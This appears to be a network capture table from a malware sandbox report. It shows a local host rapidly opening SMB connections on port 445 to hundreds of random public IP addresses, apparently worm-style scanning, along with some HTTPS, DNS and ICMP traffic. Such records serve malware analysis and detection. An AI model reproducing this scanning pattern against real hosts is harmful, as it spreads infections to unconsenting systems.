Jul 20, 2022 13:28:13.014072895 CEST	64678	445	192.168.2.7	115.51.26.156
Jul 20, 2022 13:28:13.014187098 CEST	64680	445	192.168.2.7	216.186.206.100
Jul 20, 2022 13:28:13.014765978 CEST	64693	445	192.168.2.7	45.30.97.104
Jul 20, 2022 13:28:13.014993906 CEST	64696	445	192.168.2.7	11.181.218.212
Jul 20, 2022 13:28:13.015125990 CEST	64699	445	192.168.2.7	152.79.188.243
Jul 20, 2022 13:28:13.015513897 CEST	64706	445	192.168.2.7	75.31.3.2
Jul 20, 2022 13:28:13.016128063 CEST	64710	445	192.168.2.7	39.164.196.127
Jul 20, 2022 13:28:13.418431044 CEST	64718	445	192.168.2.7	5.240.140.175
Jul 20, 2022 13:28:13.418472052 CEST	64719	445	192.168.2.7	185.15.42.183
Jul 20, 2022 13:28:13.418652058 CEST	64720	445	192.168.2.7	94.27.140.122
Jul 20, 2022 13:28:13.590567112 CEST	64723	445	192.168.2.7	176.166.137.12
Jul 20, 2022 13:28:13.808784008 CEST	63712	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:13.871790886 CEST	64743	445	192.168.2.7	75.184.104.145
Jul 20, 2022 13:28:13.871982098 CEST	64746	445	192.168.2.7	190.180.41.33
Jul 20, 2022 13:28:14.028120995 CEST	64749	445	192.168.2.7	64.107.46.147
Jul 20, 2022 13:28:14.028189898 CEST	64750	445	192.168.2.7	86.132.197.14
Jul 20, 2022 13:28:14.028383970 CEST	64752	445	192.168.2.7	21.242.19.87
Jul 20, 2022 13:28:14.028414011 CEST	64753	445	192.168.2.7	144.194.223.247
Jul 20, 2022 13:28:14.028989077 CEST	64761	445	192.168.2.7	12.34.126.181
Jul 20, 2022 13:28:14.121943951 CEST	64769	445	192.168.2.7	169.94.135.182
Jul 20, 2022 13:28:14.122220993 CEST	64772	445	192.168.2.7	17.117.185.136
Jul 20, 2022 13:28:14.122862101 CEST	64778	445	192.168.2.7	73.79.180.252
Jul 20, 2022 13:28:14.122934103 CEST	64779	445	192.168.2.7	124.167.138.0
Jul 20, 2022 13:28:14.123450994 CEST	64784	445	192.168.2.7	67.2.46.163
Jul 20, 2022 13:28:14.123476028 CEST	64783	445	192.168.2.7	181.184.165.100
Jul 20, 2022 13:28:14.125083923 CEST	64800	445	192.168.2.7	38.148.253.173
Jul 20, 2022 13:28:14.125345945 CEST	64802	445	192.168.2.7	161.61.92.112
Jul 20, 2022 13:28:14.125371933 CEST	64803	445	192.168.2.7	170.83.195.33
Jul 20, 2022 13:28:14.126142979 CEST	64808	445	192.168.2.7	217.6.32.25
Jul 20, 2022 13:28:14.126445055 CEST	64811	445	192.168.2.7	196.163.153.245
Jul 20, 2022 13:28:14.126903057 CEST	64816	445	192.168.2.7	9.13.206.72
Jul 20, 2022 13:28:14.127482891 CEST	64821	445	192.168.2.7	30.69.246.155
Jul 20, 2022 13:28:14.127551079 CEST	64822	445	192.168.2.7	162.237.175.209
Jul 20, 2022 13:28:14.127810955 CEST	64824	445	192.168.2.7	144.214.217.134
Jul 20, 2022 13:28:14.128030062 CEST	64826	445	192.168.2.7	102.110.27.206
Jul 20, 2022 13:28:14.324449062 CEST	63743	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:14.481110096 CEST	64840	445	192.168.2.7	185.15.42.184
Jul 20, 2022 13:28:14.481324911 CEST	64842	445	192.168.2.7	94.27.140.123
Jul 20, 2022 13:28:14.481333971 CEST	64841	445	192.168.2.7	5.240.140.176
Jul 20, 2022 13:28:14.668591022 CEST	64846	445	192.168.2.7	176.166.137.13
Jul 20, 2022 13:28:14.730171919 CEST	64847	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:14.730221987 CEST	443	64847	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:14.730309010 CEST	64847	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:14.730551004 CEST	64847	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:14.730564117 CEST	443	64847	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:14.753748894 CEST	64849	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:14.753787041 CEST	443	64849	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:14.753869057 CEST	64849	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:14.754096985 CEST	64849	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:14.754108906 CEST	443	64849	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:14.863840103 CEST	443	64847	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:14.864696026 CEST	64847	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:14.864725113 CEST	443	64847	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:14.869482040 CEST	64847	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:14.869512081 CEST	443	64847	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:14.869541883 CEST	64847	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:14.869553089 CEST	443	64847	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:14.887989998 CEST	443	64849	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:14.888806105 CEST	64849	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:14.888825893 CEST	443	64849	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:14.889959097 CEST	64849	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:14.889966011 CEST	443	64849	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:14.890012980 CEST	64849	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:14.890021086 CEST	443	64849	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:14.996939898 CEST	64868	445	192.168.2.7	68.73.74.119
Jul 20, 2022 13:28:14.997103930 CEST	64870	445	192.168.2.7	215.85.152.179
Jul 20, 2022 13:28:15.051482916 CEST	443	64847	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.051512003 CEST	443	64847	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.051568031 CEST	443	64847	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.051599979 CEST	64847	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.051620960 CEST	443	64847	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.051644087 CEST	443	64847	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.051673889 CEST	64847	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.051707983 CEST	64847	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.051954031 CEST	64847	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.051969051 CEST	443	64847	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.051980019 CEST	64847	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.051985025 CEST	443	64847	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.063297033 CEST	443	64849	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.063334942 CEST	443	64849	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.063383102 CEST	443	64849	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.063421011 CEST	443	64849	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.063474894 CEST	64849	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.063529015 CEST	64849	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.063803911 CEST	64849	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.063823938 CEST	443	64849	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.063834906 CEST	64849	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.063841105 CEST	443	64849	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.153393984 CEST	64876	445	192.168.2.7	76.39.84.217
Jul 20, 2022 13:28:15.153409004 CEST	64877	445	192.168.2.7	119.237.222.176
Jul 20, 2022 13:28:15.153424978 CEST	64878	445	192.168.2.7	179.84.128.74
Jul 20, 2022 13:28:15.153561115 CEST	64880	445	192.168.2.7	63.119.195.230
Jul 20, 2022 13:28:15.154066086 CEST	64888	445	192.168.2.7	89.214.198.244
Jul 20, 2022 13:28:15.246917963 CEST	64896	445	192.168.2.7	213.4.211.87
Jul 20, 2022 13:28:15.247056007 CEST	64899	445	192.168.2.7	104.40.152.232
Jul 20, 2022 13:28:15.247150898 CEST	64900	445	192.168.2.7	165.154.110.148
Jul 20, 2022 13:28:15.247288942 CEST	64902	445	192.168.2.7	95.235.12.20
Jul 20, 2022 13:28:15.247519016 CEST	64907	445	192.168.2.7	212.77.228.97
Jul 20, 2022 13:28:15.247737885 CEST	64910	445	192.168.2.7	11.89.229.174
Jul 20, 2022 13:28:15.247895002 CEST	64914	445	192.168.2.7	59.88.230.134
Jul 20, 2022 13:28:15.248194933 CEST	64920	445	192.168.2.7	198.191.23.235
Jul 20, 2022 13:28:15.248326063 CEST	64921	445	192.168.2.7	74.178.110.207
Jul 20, 2022 13:28:15.248347044 CEST	64922	445	192.168.2.7	62.206.157.243
Jul 20, 2022 13:28:15.249244928 CEST	64940	445	192.168.2.7	102.86.126.219
Jul 20, 2022 13:28:15.249469995 CEST	64944	445	192.168.2.7	31.234.220.23
Jul 20, 2022 13:28:15.249579906 CEST	64945	445	192.168.2.7	87.38.130.175
Jul 20, 2022 13:28:15.249830961 CEST	64951	445	192.168.2.7	47.217.5.117
Jul 20, 2022 13:28:15.249970913 CEST	64953	445	192.168.2.7	108.233.190.52
Jul 20, 2022 13:28:15.250472069 CEST	64938	445	192.168.2.7	100.133.148.193
Jul 20, 2022 13:28:15.469172001 CEST	64965	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.469208002 CEST	443	64965	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.469295979 CEST	64965	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.469506025 CEST	64965	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.469512939 CEST	443	64965	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.559771061 CEST	64969	445	192.168.2.7	94.27.140.124
Jul 20, 2022 13:28:15.559789896 CEST	64968	445	192.168.2.7	5.240.140.177
Jul 20, 2022 13:28:15.559948921 CEST	64970	445	192.168.2.7	185.15.42.185
Jul 20, 2022 13:28:15.622715950 CEST	443	64965	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.623629093 CEST	64965	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.623650074 CEST	443	64965	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.624901056 CEST	64965	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.624914885 CEST	443	64965	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.624965906 CEST	64965	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.624982119 CEST	443	64965	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.653230906 CEST	64972	445	192.168.2.7	172.65.175.15
Jul 20, 2022 13:28:15.671405077 CEST	445	64972	172.65.175.15	192.168.2.7
Jul 20, 2022 13:28:15.671554089 CEST	64972	445	192.168.2.7	172.65.175.15
Jul 20, 2022 13:28:15.671587944 CEST	64972	445	192.168.2.7	172.65.175.15
Jul 20, 2022 13:28:15.688085079 CEST	445	64972	172.65.175.15	192.168.2.7
Jul 20, 2022 13:28:15.688705921 CEST	445	64972	172.65.175.15	192.168.2.7
Jul 20, 2022 13:28:15.715316057 CEST	64616	445	192.168.2.7	38.55.46.5
Jul 20, 2022 13:28:15.746869087 CEST	64975	445	192.168.2.7	176.166.137.14
Jul 20, 2022 13:28:15.747364998 CEST	64976	445	192.168.2.7	172.65.175.16
Jul 20, 2022 13:28:15.766552925 CEST	445	64976	172.65.175.16	192.168.2.7
Jul 20, 2022 13:28:15.766765118 CEST	64976	445	192.168.2.7	172.65.175.16
Jul 20, 2022 13:28:15.766825914 CEST	64976	445	192.168.2.7	172.65.175.16
Jul 20, 2022 13:28:15.767371893 CEST	64977	445	192.168.2.7	172.65.175.16
Jul 20, 2022 13:28:15.786689997 CEST	445	64977	172.65.175.16	192.168.2.7
Jul 20, 2022 13:28:15.786712885 CEST	445	64976	172.65.175.16	192.168.2.7
Jul 20, 2022 13:28:15.786943913 CEST	64977	445	192.168.2.7	172.65.175.16
Jul 20, 2022 13:28:15.786966085 CEST	64977	445	192.168.2.7	172.65.175.16
Jul 20, 2022 13:28:15.805085897 CEST	443	64965	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.805110931 CEST	443	64965	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.805162907 CEST	443	64965	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.805221081 CEST	443	64965	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.805222034 CEST	64965	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.805286884 CEST	64965	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.805318117 CEST	445	64977	172.65.175.16	192.168.2.7
Jul 20, 2022 13:28:15.805682898 CEST	64965	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.805708885 CEST	443	64965	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.805717945 CEST	64965	443	192.168.2.7	20.190.159.23
Jul 20, 2022 13:28:15.805726051 CEST	443	64965	20.190.159.23	192.168.2.7
Jul 20, 2022 13:28:15.806284904 CEST	445	64977	172.65.175.16	192.168.2.7
Jul 20, 2022 13:28:16.122216940 CEST	64998	445	192.168.2.7	25.147.247.110
Jul 20, 2022 13:28:16.123224974 CEST	65000	445	192.168.2.7	179.103.132.48
Jul 20, 2022 13:28:16.278407097 CEST	65004	445	192.168.2.7	204.85.48.79
Jul 20, 2022 13:28:16.278559923 CEST	65005	445	192.168.2.7	98.43.250.72
Jul 20, 2022 13:28:16.278619051 CEST	65006	445	192.168.2.7	66.23.31.133
Jul 20, 2022 13:28:16.278789043 CEST	65007	445	192.168.2.7	214.131.114.155
Jul 20, 2022 13:28:16.279279947 CEST	65017	445	192.168.2.7	82.173.100.220
Jul 20, 2022 13:28:16.372243881 CEST	65022	445	192.168.2.7	56.238.31.143
Jul 20, 2022 13:28:16.372631073 CEST	65025	445	192.168.2.7	180.69.186.18
Jul 20, 2022 13:28:16.372946978 CEST	65028	445	192.168.2.7	110.178.132.151
Jul 20, 2022 13:28:16.373488903 CEST	65033	445	192.168.2.7	51.172.58.196
Jul 20, 2022 13:28:16.373857021 CEST	65036	445	192.168.2.7	114.123.206.222
Jul 20, 2022 13:28:16.374432087 CEST	65042	445	192.168.2.7	152.65.131.104
Jul 20, 2022 13:28:16.374485016 CEST	65043	445	192.168.2.7	169.240.159.46
Jul 20, 2022 13:28:16.375500917 CEST	65061	445	192.168.2.7	173.20.212.63
Jul 20, 2022 13:28:16.375791073 CEST	65066	445	192.168.2.7	72.76.214.140
Jul 20, 2022 13:28:16.375797033 CEST	65062	445	192.168.2.7	72.16.15.98
Jul 20, 2022 13:28:16.375864029 CEST	65067	445	192.168.2.7	67.134.53.100
Jul 20, 2022 13:28:16.376305103 CEST	65074	445	192.168.2.7	94.119.6.64
Jul 20, 2022 13:28:16.376414061 CEST	65076	445	192.168.2.7	96.63.44.215
Jul 20, 2022 13:28:16.377054930 CEST	65087	445	192.168.2.7	189.117.248.169
Jul 20, 2022 13:28:16.377191067 CEST	65044	445	192.168.2.7	35.237.64.67
Jul 20, 2022 13:28:16.377227068 CEST	65090	445	192.168.2.7	149.196.250.55
Jul 20, 2022 13:28:16.496608019 CEST	63716	445	192.168.2.7	93.22.219.6
Jul 20, 2022 13:28:16.637531042 CEST	65095	445	192.168.2.7	5.240.140.178
Jul 20, 2022 13:28:16.637696981 CEST	65097	445	192.168.2.7	94.27.140.125
Jul 20, 2022 13:28:16.637710094 CEST	65096	445	192.168.2.7	185.15.42.186
Jul 20, 2022 13:28:16.825107098 CEST	65102	445	192.168.2.7	176.166.137.15
Jul 20, 2022 13:28:17.012222052 CEST	63745	445	192.168.2.7	86.71.147.4
Jul 20, 2022 13:28:17.249346018 CEST	65123	445	192.168.2.7	213.43.22.88
Jul 20, 2022 13:28:17.249578953 CEST	65125	445	192.168.2.7	144.97.60.28
Jul 20, 2022 13:28:17.403373957 CEST	65129	445	192.168.2.7	159.42.65.133
Jul 20, 2022 13:28:17.403593063 CEST	65130	445	192.168.2.7	60.137.13.117
Jul 20, 2022 13:28:17.403681040 CEST	65131	445	192.168.2.7	6.49.171.29
Jul 20, 2022 13:28:17.403784037 CEST	65132	445	192.168.2.7	76.18.111.32
Jul 20, 2022 13:28:17.404429913 CEST	65141	445	192.168.2.7	63.231.147.44
Jul 20, 2022 13:28:17.497153997 CEST	65149	445	192.168.2.7	120.153.180.96
Jul 20, 2022 13:28:17.497394085 CEST	65152	445	192.168.2.7	106.32.184.102
Jul 20, 2022 13:28:17.497565031 CEST	65155	445	192.168.2.7	220.6.21.174
Jul 20, 2022 13:28:17.497901917 CEST	65160	445	192.168.2.7	83.209.178.132
Jul 20, 2022 13:28:17.498648882 CEST	65174	445	192.168.2.7	13.70.169.205
Jul 20, 2022 13:28:17.498748064 CEST	65175	445	192.168.2.7	56.28.141.20
Jul 20, 2022 13:28:17.498930931 CEST	65178	445	192.168.2.7	41.139.34.20
Jul 20, 2022 13:28:17.499176979 CEST	65182	445	192.168.2.7	161.20.227.162
Jul 20, 2022 13:28:17.499419928 CEST	65159	445	192.168.2.7	203.28.232.24
Jul 20, 2022 13:28:17.499440908 CEST	65187	445	192.168.2.7	50.37.1.173
Jul 20, 2022 13:28:17.499671936 CEST	65191	445	192.168.2.7	160.216.104.145
Jul 20, 2022 13:28:17.499861002 CEST	65194	445	192.168.2.7	104.200.160.193
Jul 20, 2022 13:28:17.500617981 CEST	65208	445	192.168.2.7	34.215.252.195
Jul 20, 2022 13:28:17.500854969 CEST	65209	445	192.168.2.7	169.14.196.195
Jul 20, 2022 13:28:17.500890017 CEST	65205	445	192.168.2.7	120.43.19.107
Jul 20, 2022 13:28:17.501087904 CEST	65213	445	192.168.2.7	57.182.172.15
Jul 20, 2022 13:28:17.715981007 CEST	65219	445	192.168.2.7	94.27.140.126
Jul 20, 2022 13:28:17.715990067 CEST	65218	445	192.168.2.7	5.240.140.179
Jul 20, 2022 13:28:17.716223955 CEST	65220	445	192.168.2.7	185.15.42.187
Jul 20, 2022 13:28:17.904519081 CEST	65224	445	192.168.2.7	176.166.137.16
Jul 20, 2022 13:28:18.372179985 CEST	65246	445	192.168.2.7	212.169.245.63
Jul 20, 2022 13:28:18.372498035 CEST	65249	445	192.168.2.7	177.95.87.195
Jul 20, 2022 13:28:18.528585911 CEST	65252	445	192.168.2.7	143.153.133.127
Jul 20, 2022 13:28:18.528671026 CEST	65253	445	192.168.2.7	209.37.62.72
Jul 20, 2022 13:28:18.528714895 CEST	65254	445	192.168.2.7	102.98.147.182
Jul 20, 2022 13:28:18.528865099 CEST	65255	445	192.168.2.7	174.26.173.110
Jul 20, 2022 13:28:18.529350042 CEST	65264	445	192.168.2.7	43.189.227.94
Jul 20, 2022 13:28:18.622278929 CEST	65270	445	192.168.2.7	142.118.201.1
Jul 20, 2022 13:28:18.623200893 CEST	65282	445	192.168.2.7	59.105.82.134
Jul 20, 2022 13:28:18.623229027 CEST	65283	445	192.168.2.7	97.232.209.106
Jul 20, 2022 13:28:18.623964071 CEST	65286	445	192.168.2.7	134.52.160.213
Jul 20, 2022 13:28:18.624094963 CEST	65288	445	192.168.2.7	138.8.158.60
Jul 20, 2022 13:28:18.624386072 CEST	65293	445	192.168.2.7	175.225.11.234
Jul 20, 2022 13:28:18.624643087 CEST	65297	445	192.168.2.7	24.16.163.217
Jul 20, 2022 13:28:18.625675917 CEST	65308	445	192.168.2.7	91.176.189.139
Jul 20, 2022 13:28:18.626096964 CEST	65314	445	192.168.2.7	197.171.239.26
Jul 20, 2022 13:28:18.626377106 CEST	65317	445	192.168.2.7	26.169.244.22
Jul 20, 2022 13:28:18.626636028 CEST	65320	445	192.168.2.7	113.204.163.146
Jul 20, 2022 13:28:18.626991034 CEST	65323	445	192.168.2.7	53.67.129.49
Jul 20, 2022 13:28:18.627254963 CEST	65322	445	192.168.2.7	156.14.35.239
Jul 20, 2022 13:28:18.627278090 CEST	65328	445	192.168.2.7	116.52.189.71
Jul 20, 2022 13:28:18.627779007 CEST	65335	445	192.168.2.7	83.177.1.163
Jul 20, 2022 13:28:18.627830982 CEST	65336	445	192.168.2.7	57.150.102.103
Jul 20, 2022 13:28:18.778820992 CEST	65340	445	192.168.2.7	5.240.140.180
Jul 20, 2022 13:28:18.778896093 CEST	65341	445	192.168.2.7	94.27.140.127
Jul 20, 2022 13:28:18.779057026 CEST	65342	445	192.168.2.7	185.15.42.188
Jul 20, 2022 13:28:18.809642076 CEST	65344	445	192.168.2.7	172.65.175.16
Jul 20, 2022 13:28:18.827956915 CEST	445	65344	172.65.175.16	192.168.2.7
Jul 20, 2022 13:28:18.828051090 CEST	65344	445	192.168.2.7	172.65.175.16
Jul 20, 2022 13:28:18.828100920 CEST	65344	445	192.168.2.7	172.65.175.16
Jul 20, 2022 13:28:18.846627951 CEST	445	65344	172.65.175.16	192.168.2.7
Jul 20, 2022 13:28:18.847295046 CEST	445	65344	172.65.175.16	192.168.2.7
Jul 20, 2022 13:28:18.903635979 CEST	65347	445	192.168.2.7	172.65.175.17
Jul 20, 2022 13:28:18.922341108 CEST	445	65347	172.65.175.17	192.168.2.7
Jul 20, 2022 13:28:18.922467947 CEST	65347	445	192.168.2.7	172.65.175.17
Jul 20, 2022 13:28:18.922611952 CEST	65347	445	192.168.2.7	172.65.175.17
Jul 20, 2022 13:28:18.923021078 CEST	65348	445	192.168.2.7	172.65.175.17
Jul 20, 2022 13:28:18.939583063 CEST	445	65347	172.65.175.17	192.168.2.7
Jul 20, 2022 13:28:18.941690922 CEST	445	65348	172.65.175.17	192.168.2.7
Jul 20, 2022 13:28:18.941709042 CEST	445	65347	172.65.175.17	192.168.2.7
Jul 20, 2022 13:28:18.941798925 CEST	65348	445	192.168.2.7	172.65.175.17
Jul 20, 2022 13:28:18.942037106 CEST	65348	445	192.168.2.7	172.65.175.17
Jul 20, 2022 13:28:18.958981991 CEST	445	65348	172.65.175.17	192.168.2.7
Jul 20, 2022 13:28:18.959074020 CEST	445	65348	172.65.175.17	192.168.2.7
Jul 20, 2022 13:28:18.981839895 CEST	65349	445	192.168.2.7	176.166.137.17
Jul 20, 2022 13:28:19.497517109 CEST	65371	445	192.168.2.7	209.41.252.120
Jul 20, 2022 13:28:19.497720003 CEST	65374	445	192.168.2.7	54.195.113.232
Jul 20, 2022 13:28:19.653933048 CEST	65377	445	192.168.2.7	33.245.49.187
Jul 20, 2022 13:28:19.654517889 CEST	65387	445	192.168.2.7	110.36.239.135
Jul 20, 2022 13:28:19.654921055 CEST	65389	445	192.168.2.7	29.226.56.215
Jul 20, 2022 13:28:19.655153990 CEST	65390	445	192.168.2.7	80.168.5.103
Jul 20, 2022 13:28:19.655889988 CEST	65386	445	192.168.2.7	173.130.143.174
Jul 20, 2022 13:28:19.747273922 CEST	65398	445	192.168.2.7	190.239.55.62
Jul 20, 2022 13:28:19.747348070 CEST	65400	445	192.168.2.7	157.182.225.215
Jul 20, 2022 13:28:19.748215914 CEST	65408	445	192.168.2.7	57.218.120.165
Jul 20, 2022 13:28:19.749027967 CEST	65415	445	192.168.2.7	191.231.138.13
Jul 20, 2022 13:28:19.749671936 CEST	65420	445	192.168.2.7	177.10.184.197
Jul 20, 2022 13:28:19.749988079 CEST	65423	445	192.168.2.7	44.135.244.52
Jul 20, 2022 13:28:19.750436068 CEST	65428	445	192.168.2.7	11.105.24.175
Jul 20, 2022 13:28:19.750777006 CEST	65431	445	192.168.2.7	104.102.158.216
Jul 20, 2022 13:28:19.750864029 CEST	65432	445	192.168.2.7	86.233.54.13
Jul 20, 2022 13:28:19.750929117 CEST	65433	445	192.168.2.7	48.5.245.253
Jul 20, 2022 13:28:19.752176046 CEST	65453	445	192.168.2.7	172.25.130.116
Jul 20, 2022 13:28:19.752213955 CEST	65454	445	192.168.2.7	67.124.228.160
Jul 20, 2022 13:28:19.752613068 CEST	65458	445	192.168.2.7	125.37.58.167
Jul 20, 2022 13:28:19.752753973 CEST	65461	445	192.168.2.7	96.182.196.75
Jul 20, 2022 13:28:19.752948999 CEST	65463	445	192.168.2.7	138.173.121.220
Jul 20, 2022 13:28:19.753081083 CEST	65464	445	192.168.2.7	183.72.156.177
Jul 20, 2022 13:28:19.856633902 CEST	65466	445	192.168.2.7	5.240.140.181
Jul 20, 2022 13:28:19.856966019 CEST	65468	445	192.168.2.7	94.27.140.128
Jul 20, 2022 13:28:19.857428074 CEST	65467	445	192.168.2.7	185.15.42.189
Jul 20, 2022 13:28:20.062272072 CEST	65472	445	192.168.2.7	176.166.137.18
Jul 20, 2022 13:28:20.371984959 CEST	62025	445	192.168.2.7	38.55.46.5
Jul 20, 2022 13:28:20.623596907 CEST	65495	445	192.168.2.7	175.165.206.55
Jul 20, 2022 13:28:20.624564886 CEST	65498	445	192.168.2.7	98.246.126.79
Jul 20, 2022 13:28:20.778573036 CEST	65501	445	192.168.2.7	58.46.45.237
Jul 20, 2022 13:28:20.779488087 CEST	65510	445	192.168.2.7	58.33.152.182
Jul 20, 2022 13:28:20.779726028 CEST	65512	445	192.168.2.7	202.15.141.60
Jul 20, 2022 13:28:20.779993057 CEST	65513	445	192.168.2.7	180.111.153.85
Jul 20, 2022 13:28:20.781620979 CEST	65509	445	192.168.2.7	123.35.182.140
Jul 20, 2022 13:28:20.875349045 CEST	65533	445	192.168.2.7	118.86.118.10
Jul 20, 2022 13:28:20.875514030 CEST	65534	445	192.168.2.7	129.205.213.225
Jul 20, 2022 13:28:20.875957012 CEST	49156	445	192.168.2.7	168.202.235.7
Jul 20, 2022 13:28:20.876291990 CEST	49158	445	192.168.2.7	29.112.54.169
Jul 20, 2022 13:28:20.876430035 CEST	49160	445	192.168.2.7	117.150.222.56
Jul 20, 2022 13:28:20.876537085 CEST	49161	445	192.168.2.7	218.23.192.45
Jul 20, 2022 13:28:20.876991987 CEST	49166	445	192.168.2.7	5.30.229.81
Jul 20, 2022 13:28:20.877273083 CEST	49169	445	192.168.2.7	16.113.19.97
Jul 20, 2022 13:28:20.877760887 CEST	49174	445	192.168.2.7	176.226.100.65
Jul 20, 2022 13:28:20.878062010 CEST	49177	445	192.168.2.7	57.92.141.80
Jul 20, 2022 13:28:20.878205061 CEST	49178	445	192.168.2.7	34.74.248.73
Jul 20, 2022 13:28:20.879570961 CEST	49192	445	192.168.2.7	166.133.65.108
Jul 20, 2022 13:28:20.880048990 CEST	49179	445	192.168.2.7	144.108.41.87
Jul 20, 2022 13:28:20.880079985 CEST	49196	445	192.168.2.7	163.143.117.160
Jul 20, 2022 13:28:20.880146027 CEST	49197	445	192.168.2.7	207.105.234.63
Jul 20, 2022 13:28:20.881108046 CEST	49205	445	192.168.2.7	1.210.190.81
Jul 20, 2022 13:28:20.934654951 CEST	49206	445	192.168.2.7	5.240.140.182
Jul 20, 2022 13:28:20.934770107 CEST	49207	445	192.168.2.7	185.15.42.190
Jul 20, 2022 13:28:20.934978008 CEST	49208	445	192.168.2.7	94.27.140.129

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 20, 2022 13:23:44.036887884 CEST	60996	53	192.168.2.7	8.8.8.8
Jul 20, 2022 13:23:44.055915117 CEST	53	60996	8.8.8.8	192.168.2.7
Jul 20, 2022 13:23:45.344563961 CEST	50519	53	192.168.2.7	8.8.8.8
Jul 20, 2022 13:23:45.361457109 CEST	53	50519	8.8.8.8	192.168.2.7
Jul 20, 2022 13:23:47.833285093 CEST	58715	53	192.168.2.7	8.8.8.8
Jul 20, 2022 13:23:47.857326984 CEST	53	58715	8.8.8.8	192.168.2.7
Jul 20, 2022 13:24:09.474919081 CEST	138	138	192.168.2.7	192.168.2.255
Jul 20, 2022 13:28:06.956749916 CEST	138	138	192.168.2.7	192.168.2.255

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Jul 20, 2022 13:23:55.723318100 CEST	92.219.125.155	192.168.2.7	8e6c	(Unknown)	Destination Unreachable
Jul 20, 2022 13:23:55.755739927 CEST	210.249.210.123	192.168.2.7	ee9e	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:24:08.471797943 CEST	91.11.187.79	192.168.2.7	495d	(Unknown)	Destination Unreachable
Jul 20, 2022 13:24:09.036122084 CEST	80.121.8.241	192.168.2.7	193d	(Port unreachable)	Destination Unreachable
Jul 20, 2022 13:24:11.328602076 CEST	200.230.242.66	192.168.2.7	1d12	(Unknown)	Destination Unreachable
Jul 20, 2022 13:24:23.244929075 CEST	62.141.47.219	192.168.2.7	536d	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:24:23.470267057 CEST	65.157.108.118	192.168.2.7	1c4c	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:24:24.894385099 CEST	87.226.191.250	192.168.2.7	d7cc	(Time to live exceeded in transit)	Time Exceeded
Jul 20, 2022 13:24:28.956407070 CEST	125.63.98.146	192.168.2.7	9fa7	(Host unreachable)	Destination Unreachable
Jul 20, 2022 13:24:33.525418997 CEST	5.56.18.166	192.168.2.7	653c	(Unknown)	Destination Unreachable
Jul 20, 2022 13:24:34.851942062 CEST	24.29.6.130	192.168.2.7	2264	(Host unreachable)	Destination Unreachable
